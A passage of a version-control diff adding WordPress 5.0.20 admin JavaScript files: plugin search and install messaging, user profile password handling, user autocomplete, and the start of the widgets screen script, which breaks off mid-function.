+				$( '.plugins-popular-tags-wrapper' ).remove();
+			}
+
+			if ( 'undefined' !== typeof wp.updates.searchRequest ) {
+				wp.updates.searchRequest.abort();
+			}
+			$( 'body' ).addClass( 'loading-content' );
+
+			wp.updates.searchRequest = wp.ajax.post( 'search-install-plugins', data ).done( function( response ) {
+				$( 'body' ).removeClass( 'loading-content' );
+				$pluginFilter.append( response.items );
+				delete wp.updates.searchRequest;
+
+				if ( 0 === response.count ) {
+					wp.a11y.speak( wp.updates.l10n.noPluginsFound );
+				} else {
+					wp.a11y.speak( wp.updates.l10n.pluginsFound.replace( '%d', response.count ) );
+				}
+			} );
+		}, 500 ) );
+
+		if ( $pluginSearch.length ) {
+			$pluginSearch.attr( 'aria-describedby', 'live-search-desc' );
+		}
+
+		/**
+		 * Handles changes to the plugin search box on the Installed Plugins screen,
+		 * searching the plugin list dynamically.
+		 *
+		 * @since 4.6.0
+		 */
+		$pluginSearch.on( 'keyup input', _.debounce( function( event ) {
+			var data = {
+				_ajax_nonce:   wp.updates.ajaxNonce,
+				s:             event.target.value,
+				pagenow:       pagenow,
+				plugin_status: 'all'
+			},
+			queryArgs;
+
+			// Clear on escape.
+			if ( 'keyup' === event.type && 27 === event.which ) {
+				event.target.value = '';
+			}
+
+			if ( wp.updates.searchTerm === data.s ) {
+				return;
+			} else {
+				wp.updates.searchTerm = data.s;
+			}
+
+			queryArgs = _.object( _.compact( _.map( location.search.slice( 1 ).split( '&' ), function( item ) {
+				if ( item ) return item.split( '=' );
+			} ) ) );
+
+			data.plugin_status = queryArgs.plugin_status || 'all';
+
+			if ( window.history && window.history.replaceState ) {
+				window.history.replaceState( null, '', location.href.split( '?' )[ 0 ] + '?s=' + data.s + '&plugin_status=' + data.plugin_status );
+			}
+
+			if ( 'undefined' !== typeof wp.updates.searchRequest ) {
+				wp.updates.searchRequest.abort();
+			}
+
+			$bulkActionForm.empty();
+			$( 'body' ).addClass( 'loading-content' );
+			$( '.subsubsub .current' ).removeClass( 'current' );
+
+			wp.updates.searchRequest = wp.ajax.post( 'search-plugins', data ).done( function( response ) {
+
+				// Can we just ditch this whole subtitle business?
+				var $subTitle    = $( '<span />' ).addClass( 'subtitle' ).html( wp.updates.l10n.searchResults.replace( '%s', _.escape( data.s ) ) ),
+					$oldSubTitle = $( '.wrap .subtitle' );
+
+				if ( ! data.s.length ) {
+					$oldSubTitle.remove();
+					$( '.subsubsub .' + data.plugin_status + ' a' ).addClass( 'current' );
+				} else if ( $oldSubTitle.length ) {
+					$oldSubTitle.replaceWith( $subTitle );
+				} else {
+					$( '.wp-header-end' ).before( $subTitle );
+				}
+
+				$( 'body' ).removeClass( 'loading-content' );
+				$bulkActionForm.append( response.items );
+				delete wp.updates.searchRequest;
+
+				if ( 0 === response.count ) {
+					wp.a11y.speak( wp.updates.l10n.noPluginsFound );
+				} else {
+					wp.a11y.speak( wp.updates.l10n.pluginsFound.replace( '%d', response.count ) );
+				}
+			} );
+		}, 500 ) );
+
+		/**
+		 * Trigger a search event when the search form gets submitted.
+		 *
+		 * @since 4.6.0
+		 */
+		$document.on( 'submit', '.search-plugins', function( event ) {
+			event.preventDefault();
+
+			$( 'input.wp-filter-search' ).trigger( 'input' );
+		} );
+
+		/** 
+		 * Trigger a search event when the "Try Again" button is clicked. 
+		 * 
+		 * @since 4.9.0
+		 */ 
+		$document.on( 'click', '.try-again', function( event ) { 
+			event.preventDefault(); 
+			$pluginInstallSearch.trigger( 'input' ); 
+		} );
+
+		/**
+		 * Trigger a search event when the search type gets changed.
+		 *
+		 * @since 4.6.0
+		 */
+		$( '#typeselector' ).on( 'change', function() {
+			var $search = $( 'input[name="s"]' );
+
+			if ( $search.val().length ) {
+				$search.trigger( 'input', 'typechange' );
+			}
+		} );
+
+		/**
+		 * Click handler for updating a plugin from the details modal on `plugin-install.php`.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param {Event} event Event interface.
+		 */
+		$( '#plugin_update_from_iframe' ).on( 'click', function( event ) {
+			var target = window.parent === window ? null : window.parent,
+				update;
+
+			$.support.postMessage = !! window.postMessage;
+
+			if ( false === $.support.postMessage || null === target || -1 !== window.parent.location.pathname.indexOf( 'update-core.php' ) ) {
+				return;
+			}
+
+			event.preventDefault();
+
+			update = {
+				action: 'update-plugin',
+				data:   {
+					plugin: $( this ).data( 'plugin' ),
+					slug:   $( this ).data( 'slug' )
+				}
+			};
+
+			target.postMessage( JSON.stringify( update ), window.location.origin );
+		} );
+
+		/**
+		 * Click handler for installing a plugin from the details modal on `plugin-install.php`.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param {Event} event Event interface.
+		 */
+		$( '#plugin_install_from_iframe' ).on( 'click', function( event ) {
+			var target = window.parent === window ? null : window.parent,
+				install;
+
+			$.support.postMessage = !! window.postMessage;
+
+			if ( false === $.support.postMessage || null === target || -1 !== window.parent.location.pathname.indexOf( 'index.php' ) ) {
+				return;
+			}
+
+			event.preventDefault();
+
+			install = {
+				action: 'install-plugin',
+				data:   {
+					slug: $( this ).data( 'slug' )
+				}
+			};
+
+			target.postMessage( JSON.stringify( install ), window.location.origin );
+		} );
+
+		/**
+		 * Handles postMessage events.
+		 *
+		 * @since 4.2.0
+		 * @since 4.6.0 Switched `update-plugin` action to use the queue.
+		 *
+		 * @param {Event} event Event interface.
+		 */
+		$( window ).on( 'message', function( event ) {
+			var originalEvent  = event.originalEvent,
+				expectedOrigin = document.location.protocol + '//' + document.location.hostname,
+				message;
+
+			if ( originalEvent.origin !== expectedOrigin ) {
+				return;
+			}
+
+			try {
+				message = $.parseJSON( originalEvent.data );
+			} catch ( e ) {
+				return;
+			}
+
+			if ( ! message || 'undefined' === typeof message.action ) {
+				return;
+			}
+
+			switch ( message.action ) {
+
+				// Called from `wp-admin/includes/class-wp-upgrader-skins.php`.
+				case 'decrementUpdateCount':
+					/** @property {string} message.upgradeType */
+					wp.updates.decrementCount( message.upgradeType );
+					break;
+
+				case 'install-plugin':
+				case 'update-plugin':
+					/* jscs:disable requireCamelCaseOrUpperCaseIdentifiers */
+					window.tb_remove();
+					/* jscs:enable */
+
+					message.data = wp.updates._addCallbacks( message.data, message.action );
+
+					wp.updates.queue.push( message );
+					wp.updates.queueChecker();
+					break;
+			}
+		} );
+
+		/**
+		 * Adds a callback to display a warning before leaving the page.
+		 *
+		 * @since 4.2.0
+		 */
+		$( window ).on( 'beforeunload', wp.updates.beforeunload );
+	} );
+})( jQuery, window.wp, window._wpUpdatesSettings );
Index: /tags/5.0.20/src/wp-admin/js/user-profile.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/user-profile.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/user-profile.js	(revision 56912)
@@ -0,0 +1,470 @@
+/* global ajaxurl, pwsL10n, userProfileL10n */
+(function($) {
+	var updateLock = false,
+
+		$pass1Row,
+		$pass1Wrap,
+		$pass1,
+		$pass1Text,
+		$pass1Label,
+		$pass2,
+		$weakRow,
+		$weakCheckbox,
+		$toggleButton,
+		$submitButtons,
+		$submitButton,
+		currentPass,
+		inputEvent;
+
+	/*
+	 * Use feature detection to determine whether password inputs should use
+	 * the `keyup` or `input` event. Input is preferred but lacks support
+	 * in legacy browsers.
+	 */
+	if ( 'oninput' in document.createElement( 'input' ) ) {
+		inputEvent = 'input';
+	} else {
+		inputEvent = 'keyup';
+	}
+
+	function generatePassword() {
+		if ( typeof zxcvbn !== 'function' ) {
+			setTimeout( generatePassword, 50 );
+			return;
+		} else if ( ! $pass1.val() ) {
+			// zxcvbn loaded before user entered password.
+			$pass1.val( $pass1.data( 'pw' ) );
+			$pass1.trigger( 'pwupdate' );
+			showOrHideWeakPasswordCheckbox();
+		}
+		else {
+			// zxcvbn loaded after the user entered password, check strength.
+			check_pass_strength();
+			showOrHideWeakPasswordCheckbox();
+		}
+
+		if ( 1 !== parseInt( $toggleButton.data( 'start-masked' ), 10 ) ) {
+			$pass1Wrap.addClass( 'show-password' );
+		} else {
+			$toggleButton.trigger( 'click' );
+		}
+
+		// Once zxcvbn loads, passwords strength is known.
+		$( '#pw-weak-text-label' ).html( userProfileL10n.warnWeak );
+	}
+
+	function bindPass1() {
+		currentPass = $pass1.val();
+
+		$pass1Wrap = $pass1.parent();
+
+		$pass1Text = $( '<input type="text"/>' )
+			.attr( {
+				'id':           'pass1-text',
+				'name':         'pass1-text',
+				'autocomplete': 'off'
+			} )
+			.addClass( $pass1[0].className )
+			.data( 'pw', $pass1.data( 'pw' ) )
+			.val( $pass1.val() )
+			.on( inputEvent, function () {
+				if ( $pass1Text.val() === currentPass ) {
+					return;
+				}
+				$pass2.val( $pass1Text.val() );
+				$pass1.val( $pass1Text.val() ).trigger( 'pwupdate' );
+				currentPass = $pass1Text.val();
+			} );
+
+		$pass1.after( $pass1Text );
+
+		if ( 1 === parseInt( $pass1.data( 'reveal' ), 10 ) ) {
+			generatePassword();
+		}
+
+		$pass1.on( inputEvent + ' pwupdate', function () {
+			if ( $pass1.val() === currentPass ) {
+				return;
+			}
+
+			currentPass = $pass1.val();
+			if ( $pass1Text.val() !== currentPass ) {
+				$pass1Text.val( currentPass );
+			}
+			$pass1.add( $pass1Text ).removeClass( 'short bad good strong' );
+			showOrHideWeakPasswordCheckbox();
+		} );
+	}
+
+	function resetToggle() {
+		$toggleButton
+			.data( 'toggle', 0 )
+			.attr({
+				'aria-label': userProfileL10n.ariaHide
+			})
+			.find( '.text' )
+				.text( userProfileL10n.hide )
+			.end()
+			.find( '.dashicons' )
+				.removeClass( 'dashicons-visibility' )
+				.addClass( 'dashicons-hidden' );
+
+		$pass1Text.focus();
+
+		$pass1Label.attr( 'for', 'pass1-text' );
+	}
+
+	function bindToggleButton() {
+		$toggleButton = $pass1Row.find('.wp-hide-pw');
+		$toggleButton.show().on( 'click', function () {
+			if ( 1 === parseInt( $toggleButton.data( 'toggle' ), 10 ) ) {
+				$pass1Wrap.addClass( 'show-password' );
+
+				resetToggle();
+
+				if ( ! _.isUndefined( $pass1Text[0].setSelectionRange ) ) {
+					$pass1Text[0].setSelectionRange( 0, 100 );
+				}
+			} else {
+				$pass1Wrap.removeClass( 'show-password' );
+				$toggleButton
+					.data( 'toggle', 1 )
+					.attr({
+						'aria-label': userProfileL10n.ariaShow
+					})
+					.find( '.text' )
+						.text( userProfileL10n.show )
+					.end()
+					.find( '.dashicons' )
+						.removeClass('dashicons-hidden')
+						.addClass('dashicons-visibility');
+
+				$pass1.focus();
+
+				$pass1Label.attr( 'for', 'pass1' );
+
+				if ( ! _.isUndefined( $pass1[0].setSelectionRange ) ) {
+					$pass1[0].setSelectionRange( 0, 100 );
+				}
+			}
+		});
+	}
+
+	function bindPasswordForm() {
+		var $passwordWrapper,
+			$generateButton,
+			$cancelButton;
+
+		$pass1Row = $('.user-pass1-wrap');
+		$pass1Label = $pass1Row.find('th label').attr( 'for', 'pass1-text' );
+
+		// hide this
+		$('.user-pass2-wrap').hide();
+
+		$submitButton = $( '#submit, #wp-submit' ).on( 'click', function () {
+			updateLock = false;
+		});
+
+		$submitButtons = $submitButton.add( ' #createusersub' );
+
+		$weakRow = $( '.pw-weak' );
+		$weakCheckbox = $weakRow.find( '.pw-checkbox' );
+		$weakCheckbox.change( function() {
+			$submitButtons.prop( 'disabled', ! $weakCheckbox.prop( 'checked' ) );
+		} );
+
+		$pass1 = $('#pass1');
+		if ( $pass1.length ) {
+			bindPass1();
+		}
+
+		/**
+		 * Fix a LastPass mismatch issue, LastPass only changes pass2.
+		 *
+		 * This fixes the issue by copying any changes from the hidden
+		 * pass2 field to the pass1 field, then running check_pass_strength.
+		 */
+		$pass2 = $('#pass2').on( inputEvent, function () {
+			if ( $pass2.val().length > 0 ) {
+				$pass1.val( $pass2.val() );
+				$pass2.val('');
+				currentPass = '';
+				$pass1.trigger( 'pwupdate' );
+			}
+		} );
+
+		// Disable hidden inputs to prevent autofill and submission.
+		if ( $pass1.is( ':hidden' ) ) {
+			$pass1.prop( 'disabled', true );
+			$pass2.prop( 'disabled', true );
+			$pass1Text.prop( 'disabled', true );
+		}
+
+		$passwordWrapper = $pass1Row.find( '.wp-pwd' );
+		$generateButton  = $pass1Row.find( 'button.wp-generate-pw' );
+
+		bindToggleButton();
+
+		if ( $generateButton.length ) {
+			$passwordWrapper.hide();
+		}
+
+		$generateButton.show();
+		$generateButton.on( 'click', function () {
+			updateLock = true;
+
+			$generateButton.hide();
+			$passwordWrapper.show();
+
+			// Enable the inputs when showing.
+			$pass1.attr( 'disabled', false );
+			$pass2.attr( 'disabled', false );
+			$pass1Text.attr( 'disabled', false );
+
+			if ( $pass1Text.val().length === 0 ) {
+				generatePassword();
+			}
+
+			_.defer( function() {
+				$pass1Text.focus();
+				if ( ! _.isUndefined( $pass1Text[0].setSelectionRange ) ) {
+					$pass1Text[0].setSelectionRange( 0, 100 );
+				}
+			}, 0 );
+		} );
+
+		$cancelButton = $pass1Row.find( 'button.wp-cancel-pw' );
+		$cancelButton.on( 'click', function () {
+			updateLock = false;
+
+			// Clear any entered password.
+			$pass1Text.val( '' );
+
+			// Generate a new password.
+			wp.ajax.post( 'generate-password' )
+				.done( function( data ) {
+					$pass1.data( 'pw', data );
+				} );
+
+			$generateButton.show();
+			$passwordWrapper.hide();
+
+			$weakRow.hide( 0, function () {
+				$weakCheckbox.removeProp( 'checked' );
+			} );
+
+			// Disable the inputs when hiding to prevent autofill and submission.
+			$pass1.prop( 'disabled', true );
+			$pass2.prop( 'disabled', true );
+			$pass1Text.prop( 'disabled', true );
+
+			resetToggle();
+
+			if ( $pass1Row.closest( 'form' ).is( '#your-profile' ) ) {
+				// Clear password field to prevent update
+				$pass1.val( '' ).trigger( 'pwupdate' );
+				$submitButtons.prop( 'disabled', false );
+			}
+		} );
+
+		$pass1Row.closest( 'form' ).on( 'submit', function () {
+			updateLock = false;
+
+			$pass1.prop( 'disabled', false );
+			$pass2.prop( 'disabled', false );
+			$pass2.val( $pass1.val() );
+			$pass1Wrap.removeClass( 'show-password' );
+		});
+	}
+
+	function check_pass_strength() {
+		var pass1 = $('#pass1').val(), strength;
+
+		$('#pass-strength-result').removeClass('short bad good strong');
+		if ( ! pass1 ) {
+			$('#pass-strength-result').html( '&nbsp;' );
+			return;
+		}
+
+		strength = wp.passwordStrength.meter( pass1, wp.passwordStrength.userInputBlacklist(), pass1 );
+
+		switch ( strength ) {
+			case -1:
+				$( '#pass-strength-result' ).addClass( 'bad' ).html( pwsL10n.unknown );
+				break;
+			case 2:
+				$('#pass-strength-result').addClass('bad').html( pwsL10n.bad );
+				break;
+			case 3:
+				$('#pass-strength-result').addClass('good').html( pwsL10n.good );
+				break;
+			case 4:
+				$('#pass-strength-result').addClass('strong').html( pwsL10n.strong );
+				break;
+			case 5:
+				$('#pass-strength-result').addClass('short').html( pwsL10n.mismatch );
+				break;
+			default:
+				$('#pass-strength-result').addClass('short').html( pwsL10n['short'] );
+		}
+	}
+
+	function showOrHideWeakPasswordCheckbox() {
+		var passStrength = $('#pass-strength-result')[0];
+
+		if ( passStrength.className ) {
+			$pass1.add( $pass1Text ).addClass( passStrength.className );
+			if ( $( passStrength ).is( '.short, .bad' ) ) {
+				if ( ! $weakCheckbox.prop( 'checked' ) ) {
+					$submitButtons.prop( 'disabled', true );
+				}
+				$weakRow.show();
+			} else {
+				$submitButtons.prop( 'disabled', false );
+				$weakRow.hide();
+			}
+		}
+	}
+
+	$(document).ready( function() {
+		var $colorpicker, $stylesheet, user_id, current_user_id,
+			select       = $( '#display_name' ),
+			current_name = select.val(),
+			greeting     = $( '#wp-admin-bar-my-account' ).find( '.display-name' );
+
+		$('#pass1').val('').on( inputEvent + ' pwupdate', check_pass_strength );
+		$('#pass-strength-result').show();
+		$('.color-palette').click( function() {
+			$(this).siblings('input[name="admin_color"]').prop('checked', true);
+		});
+
+		if ( select.length ) {
+			$('#first_name, #last_name, #nickname').bind( 'blur.user_profile', function() {
+				var dub = [],
+					inputs = {
+						display_nickname  : $('#nickname').val() || '',
+						display_username  : $('#user_login').val() || '',
+						display_firstname : $('#first_name').val() || '',
+						display_lastname  : $('#last_name').val() || ''
+					};
+
+				if ( inputs.display_firstname && inputs.display_lastname ) {
+					inputs.display_firstlast = inputs.display_firstname + ' ' + inputs.display_lastname;
+					inputs.display_lastfirst = inputs.display_lastname + ' ' + inputs.display_firstname;
+				}
+
+				$.each( $('option', select), function( i, el ){
+					dub.push( el.value );
+				});
+
+				$.each(inputs, function( id, value ) {
+					if ( ! value ) {
+						return;
+					}
+
+					var val = value.replace(/<\/?[a-z][^>]*>/gi, '');
+
+					if ( inputs[id].length && $.inArray( val, dub ) === -1 ) {
+						dub.push(val);
+						$('<option />', {
+							'text': val
+						}).appendTo( select );
+					}
+				});
+			});
+
+			/**
+			 * Replaces "Howdy, *" in the admin toolbar whenever the display name dropdown is updated for one's own profile.
+			 */
+			select.on( 'change', function() {
+				if ( user_id !== current_user_id ) {
+					return;
+				}
+
+				var display_name = $.trim( this.value ) || current_name;
+
+				greeting.text( display_name );
+			} );
+		}
+
+		$colorpicker = $( '#color-picker' );
+		$stylesheet = $( '#colors-css' );
+		user_id = $( 'input#user_id' ).val();
+		current_user_id = $( 'input[name="checkuser_id"]' ).val();
+
+		$colorpicker.on( 'click.colorpicker', '.color-option', function() {
+			var colors,
+				$this = $(this);
+
+			if ( $this.hasClass( 'selected' ) ) {
+				return;
+			}
+
+			$this.siblings( '.selected' ).removeClass( 'selected' );
+			$this.addClass( 'selected' ).find( 'input[type="radio"]' ).prop( 'checked', true );
+
+			// Set color scheme
+			if ( user_id === current_user_id ) {
+				// Load the colors stylesheet.
+				// The default color scheme won't have one, so we'll need to create an element.
+				if ( 0 === $stylesheet.length ) {
+					$stylesheet = $( '<link rel="stylesheet" />' ).appendTo( 'head' );
+				}
+				$stylesheet.attr( 'href', $this.children( '.css_url' ).val() );
+
+				// repaint icons
+				if ( typeof wp !== 'undefined' && wp.svgPainter ) {
+					try {
+						colors = $.parseJSON( $this.children( '.icon_colors' ).val() );
+					} catch ( error ) {}
+
+					if ( colors ) {
+						wp.svgPainter.setColors( colors );
+						wp.svgPainter.paint();
+					}
+				}
+
+				// update user option
+				$.post( ajaxurl, {
+					action:       'save-user-color-scheme',
+					color_scheme: $this.children( 'input[name="admin_color"]' ).val(),
+					nonce:        $('#color-nonce').val()
+				}).done( function( response ) {
+					if ( response.success ) {
+						$( 'body' ).removeClass( response.data.previousScheme ).addClass( response.data.currentScheme );
+					}
+				});
+			}
+		});
+
+		bindPasswordForm();
+	});
+
+	$( '#destroy-sessions' ).on( 'click', function( e ) {
+		var $this = $(this);
+
+		wp.ajax.post( 'destroy-sessions', {
+			nonce: $( '#_wpnonce' ).val(),
+			user_id: $( '#user_id' ).val()
+		}).done( function( response ) {
+			$this.prop( 'disabled', true );
+			$this.siblings( '.notice' ).remove();
+			$this.before( '<div class="notice notice-success inline"><p>' + response.message + '</p></div>' );
+		}).fail( function( response ) {
+			$this.siblings( '.notice' ).remove();
+			$this.before( '<div class="notice notice-error inline"><p>' + response.message + '</p></div>' );
+		});
+
+		e.preventDefault();
+	});
+
+	window.generatePassword = generatePassword;
+
+	/* Warn the user if password was generated but not saved */
+	$( window ).on( 'beforeunload', function () {
+		if ( true === updateLock ) {
+			return userProfileL10n.warn;
+		}
+	} );
+
+})(jQuery);
Index: /tags/5.0.20/src/wp-admin/js/user-suggest.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/user-suggest.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/user-suggest.js	(revision 56912)
@@ -0,0 +1,30 @@
+/* global ajaxurl, current_site_id, isRtl */
+
+(function( $ ) {
+	var id = ( typeof current_site_id !== 'undefined' ) ? '&site_id=' + current_site_id : '';
+	$(document).ready( function() {
+		var position = { offset: '0, -1' };
+		if ( typeof isRtl !== 'undefined' && isRtl ) {
+			position.my = 'right top';
+			position.at = 'right bottom';
+		}
+		$( '.wp-suggest-user' ).each( function(){
+			var $this = $( this ),
+				autocompleteType = ( typeof $this.data( 'autocompleteType' ) !== 'undefined' ) ? $this.data( 'autocompleteType' ) : 'add',
+				autocompleteField = ( typeof $this.data( 'autocompleteField' ) !== 'undefined' ) ? $this.data( 'autocompleteField' ) : 'user_login';
+
+			$this.autocomplete({
+				source:    ajaxurl + '?action=autocomplete-user&autocomplete_type=' + autocompleteType + '&autocomplete_field=' + autocompleteField + id,
+				delay:     500,
+				minLength: 2,
+				position:  position,
+				open: function() {
+					$( this ).addClass( 'open' );
+				},
+				close: function() {
+					$( this ).removeClass( 'open' );
+				}
+			});
+		});
+	});
+})( jQuery );
Index: /tags/5.0.20/src/wp-admin/js/widgets.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/widgets.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/widgets.js	(revision 56912)
@@ -0,0 +1,740 @@
+/*global ajaxurl, isRtl */
+var wpWidgets;
+(function($) {
+	var $document = $( document );
+
+wpWidgets = {
+	/**
+	 * A closed Sidebar that gets a Widget dragged over it.
+	 *
+	 * @var {element|null}
+	 */
+	hoveredSidebar: null,
+
+	/**
+	 * Translations.
+	 *
+	 * Exported from PHP in wp_default_scripts().
+	 *
+	 * @var {object}
+	 */
+	l10n: {
+		save: '{save}',
+		saved: '{saved}',
+		saveAlert: '{saveAlert}'
+	},
+
+	/**
+	 * Lookup of which widgets have had change events triggered.
+	 *
+	 * @var {object}
+	 */
+	dirtyWidgets: {},
+
+	init : function() {
+		var rem, the_id,
+			self = this,
+			chooser = $('.widgets-chooser'),
+			selectSidebar = chooser.find('.widgets-chooser-sidebars'),
+			sidebars = $('div.widgets-sortables'),
+			isRTL = !! ( 'undefined' !== typeof isRtl && isRtl );
+
+		// Handle the widgets containers in the right column.
+		$( '#widgets-right .sidebar-name' )
+			/*
+			 * Toggle the widgets containers when clicked and update the toggle
+			 * button `aria-expanded` attribute value.
+			 */
+			.click( function() {
+				var $this = $( this ),
+					$wrap = $this.closest( '.widgets-holder-wrap '),
+					$toggle = $this.find( '.handlediv' );
+
+				if ( $wrap.hasClass( 'closed' ) ) {
+					$wrap.removeClass( 'closed' );
+					$toggle.attr( 'aria-expanded', 'true' );
+					// Refresh the jQuery UI sortable items.
+					$this.parent().sortable( 'refresh' );
+				} else {
+					$wrap.addClass( 'closed' );
+					$toggle.attr( 'aria-expanded', 'false' );
+				}
+
+				// Update the admin menu "sticky" state.
+				$document.triggerHandler( 'wp-pin-menu' );
+			})
+			/*
+			 * Set the initial `aria-expanded` attribute value on the widgets
+			 * containers toggle button. The first one is expanded by default.
+			 */
+			.find( '.handlediv' ).each( function( index ) {
+				if ( 0 === index ) {
+					// jQuery equivalent of `continue` within an `each()` loop.
+					return;
+				}
+
+				$( this ).attr( 'aria-expanded', 'false' );
+			});
+
+		// Show AYS dialog when there are unsaved widget changes.
+		$( window ).on( 'beforeunload.widgets', function( event ) {
+			var dirtyWidgetIds = [], unsavedWidgetsElements;
+			$.each( self.dirtyWidgets, function( widgetId, dirty ) {
+				if ( dirty ) {
+					dirtyWidgetIds.push( widgetId );
+				}
+			});
+			if ( 0 !== dirtyWidgetIds.length ) {
+				unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() {
+					return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) );
+				});
+				unsavedWidgetsElements.each( function() {
+					if ( ! $( this ).hasClass( 'open' ) ) {
+						$( this ).find( '.widget-title-action:first' ).click();
+					}
+				});
+
+				// Bring the first unsaved widget into view and focus on the first tabbable field.
+				unsavedWidgetsElements.first().each( function() {
+					if ( this.scrollIntoViewIfNeeded ) {
+						this.scrollIntoViewIfNeeded();
+					} else {
+						this.scrollIntoView();
+					}
+					$( this ).find( '.widget-inside :tabbable:first' ).focus();
+				} );
+
+				event.returnValue = wpWidgets.l10n.saveAlert;
+				return event.returnValue;
+			}
+		});
+
+		// Handle the widgets containers in the left column.
+		$( '#widgets-left .sidebar-name' ).click( function() {
+			var $wrap = $( this ).closest( '.widgets-holder-wrap' );
+
+			$wrap
+				.toggleClass( 'closed' )
+				.find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) );
+
+			// Update the admin menu "sticky" state.
+			$document.triggerHandler( 'wp-pin-menu' );
+		});
+
+		$(document.body).bind('click.widgets-toggle', function(e) {
+			var target = $(e.target),
+				css = { 'z-index': 100 },
+				widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId,
+				toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' );
+
+			if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) {
+				widget = target.closest('div.widget');
+				inside = widget.children('.widget-inside');
+				targetWidth = parseInt( widget.find('input.widget-width').val(), 10 );
+				widgetWidth = widget.parent().width();
+				widgetId = inside.find( '.widget-id' ).val();
+
+				// Save button is initially disabled, but is enabled when a field is changed.
+				if ( ! widget.data( 'dirty-state-initialized' ) ) {
+					saveButton = inside.find( '.widget-control-save' );
+					saveButton.prop( 'disabled', true ).val( wpWidgets.l10n.saved );
+					inside.on( 'input change', function() {
+						self.dirtyWidgets[ widgetId ] = true;
+						widget.addClass( 'widget-dirty' );
+						saveButton.prop( 'disabled', false ).val( wpWidgets.l10n.save );
+					});
+					widget.data( 'dirty-state-initialized', true );
+				}
+
+				if ( inside.is(':hidden') ) {
+					if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) {
+						if ( widget.closest('div.widget-liquid-right').length ) {
+							margin = isRTL ? 'margin-right' : 'margin-left';
+						} else {
+							margin = isRTL ? 'margin-left' : 'margin-right';
+						}
+
+						css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px';
+						widget.css( css );
+					}
+					/*
+					 * Don't change the order of attributes changes and animation:
+					 * it's important for screen readers, see ticket #31476.
+					 */
+					toggleBtn.attr( 'aria-expanded', 'true' );
+					inside.slideDown( 'fast', function() {
+						widget.addClass( 'open' );
+					});
+				} else {
+					/*
+					 * Don't change the order of attributes changes and animation:
+					 * it's important for screen readers, see ticket #31476.
+					 */
+					toggleBtn.attr( 'aria-expanded', 'false' );
+					inside.slideUp( 'fast', function() {
+						widget.attr( 'style', '' );
+						widget.removeClass( 'open' );
+					});
+				}
+				e.preventDefault();
+			} else if ( target.hasClass('widget-control-save') ) {
+				wpWidgets.save( target.closest('div.widget'), 0, 1, 0 );
+				e.preventDefault();
+			} else if ( target.hasClass('widget-control-remove') ) {
+				wpWidgets.save( target.closest('div.widget'), 1, 1, 0 );
+				e.preventDefault();
+			} else if ( target.hasClass('widget-control-close') ) {
+				widget = target.closest('div.widget');
+				widget.removeClass( 'open' );
+				toggleBtn.attr( 'aria-expanded', 'false' );
+				wpWidgets.close( widget );
+				e.preventDefault();
+			} else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) {
+				wpWidgets.removeInactiveWidgets();
+				e.preventDefault();
+			}
+		});
+
+		sidebars.children('.widget').each( function() {
+			var $this = $(this);
+
+			wpWidgets.appendTitle( this );
+
+			if ( $this.find( 'p.widget-error' ).length ) {
+				$this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' );
+			}
+		});
+
+		$('#widget-list').children('.widget').draggable({
+			connectToSortable: 'div.widgets-sortables',
+			handle: '> .widget-top > .widget-title',
+			distance: 2,
+			helper: 'clone',
+			zIndex: 100,
+			containment: '#wpwrap',
+			refreshPositions: true,
+			start: function( event, ui ) {
+				var chooser = $(this).find('.widgets-chooser');
+
+				ui.helper.find('div.widget-description').hide();
+				the_id = this.id;
+
+				if ( chooser.length ) {
+					// Hide the chooser and move it out of the widget
+					$( '#wpbody-content' ).append( chooser.hide() );
+					// Delete the cloned chooser from the drag helper
+					ui.helper.find('.widgets-chooser').remove();
+					self.clearWidgetSelection();
+				}
+			},
+			stop: function() {
+				if ( rem ) {
+					$(rem).hide();
+				}
+
+				rem = '';
+			}
+		});
+
+		/**
+		 * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them.
+		 */
+		sidebars.droppable( {
+			tolerance: 'intersect',
+
+			/**
+			 * Open Sidebar when a Widget gets dragged over it.
+			 *
+			 * @param {object} event jQuery event object.
+			 */
+			over: function( event ) {
+				var $wrap = $( event.target ).parent();
+
+				if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) {
+					// Close the previous Sidebar as the Widget has been dragged onto another Sidebar.
+					wpWidgets.closeSidebar( event );
+				}
+
+				if ( $wrap.hasClass( 'closed' ) ) {
+					wpWidgets.hoveredSidebar = $wrap;
+					$wrap
+						.removeClass( 'closed' )
+						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
+				}
+
+				$( this ).sortable( 'refresh' );
+			},
+
+			/**
+			 * Close Sidebar when the Widget gets dragged out of it.
+			 *
+			 * @param {object} event jQuery event object.
+			 */
+			out: function( event ) {
+				if ( wpWidgets.hoveredSidebar ) {
+					wpWidgets.closeSidebar( event );
+				}
+			}
+		} );
+
+		sidebars.sortable({
+			placeholder: 'widget-placeholder',
+			items: '> .widget',
+			handle: '> .widget-top > .widget-title',
+			cursor: 'move',
+			distance: 2,
+			containment: '#wpwrap',
+			tolerance: 'pointer',
+			refreshPositions: true,
+			start: function( event, ui ) {
+				var height, $this = $(this),
+					$wrap = $this.parent(),
+					inside = ui.item.children('.widget-inside');
+
+				if ( inside.css('display') === 'block' ) {
+					ui.item.removeClass('open');
+					ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' );
+					inside.hide();
+					$(this).sortable('refreshPositions');
+				}
+
+				if ( ! $wrap.hasClass('closed') ) {
+					// Lock all open sidebars min-height when starting to drag.
